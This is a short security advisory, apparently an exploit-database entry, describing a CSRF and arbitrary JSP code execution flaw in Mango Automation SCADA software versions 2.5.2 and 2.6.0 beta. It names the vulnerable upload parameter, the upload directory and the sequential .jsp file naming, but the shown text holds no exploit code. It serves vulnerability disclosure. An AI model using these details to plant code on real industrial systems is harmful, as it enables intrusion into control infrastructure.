Mango Automation 2.6.0 CSRF File Upload And Arbitrary JSP Code Execution
Vendor: Infinite Automation Systems Inc.
Product web page: http://www.infiniteautomation.com/
Affected version: 2.5.2 and 2.6.0 beta (build 327)
Summary: Mango Automation is a flexible SCADA, HMI And Automation software application that allows you
to view, log, graph, animate, alarm, and report on data from sensors, equipment, PLCs, databases, webpages,
etc. It is easy, affordable, and open source.
Desc: Mango suffers from an authenticated arbitrary JSP code execution. The vulnerability is caused due
to the improper verification of uploaded image files in 'graphicalViewsBackgroundUpload' script via the
'backgroundImage' POST parameter which allows of arbitrary files being uploaded in '/modules/graphicalViews/web/graphicalViewUploads/'.
This can be exploited to execute arbitrary JSP code by uploading a malicious JSP script file that will be
stored as a sequence number depending on how many files were uploaded (1.jsp or 2.jsp or 3.jsp .. n.jsp).
